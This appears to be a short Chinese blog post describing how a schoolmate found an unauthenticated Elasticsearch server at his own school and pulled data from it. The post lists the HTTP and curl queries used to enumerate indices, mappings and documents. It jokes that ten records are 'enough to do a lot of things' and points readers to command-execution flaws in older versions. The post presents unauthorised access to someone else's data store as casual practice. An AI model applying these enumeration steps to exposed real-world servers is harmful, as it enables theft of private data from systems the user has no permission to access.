ElasticSearch 未授权访问利用

本文介绍了一位学弟发现学校ES未授权的情况,并分享了如何利用此机会学习ES的使用方法,包括查找所有数据库(Index)、数据表(Type)及具体数据的方法。文章还提到了除数据资源查看外,低版本ES可能存在的命令执行漏洞。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

学弟找到个自己学校的 es 未授权,尝试利用一波,学习下如何使用 :)

http://www.ruanyifeng.com/blog/2017/08/elasticsearch.html

http://blog.51cto.com/feelmanc/1250430

上边文档写的挺不错,我基本上都是在上边学到的。增删改我不想知道,我只想知道 如何查看我想要的数据

 

首先找有多少数据库(其实是index,这里类比为数据库)

http://xxxx:9200/_cat/indices?v

然后找数据库中有多少数据表(其实是type,类比为数据表) // 数据表中mapping下一级目录,除了 __default__ 都是 type

http://xxxxxx:9200/_mapping?pretty=true

查看具体数据

http://xxxx:9200/Index/Type/Id

默认值返回10条数据,需要则修改 size // 未测试,因为数据,一般十条就够干很多事情了 :)


$ curl 'localhost:9200/accounts/person/_search'  -d '
{
  "query" : { "match" : { "desc" : "管理" }},
  "size": 1
}'

 

tips: 除了查看数据资源,还存在低版本命令执行,自己百度咯 ~ 我的目标机版本偏高,没利用成功 :(

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值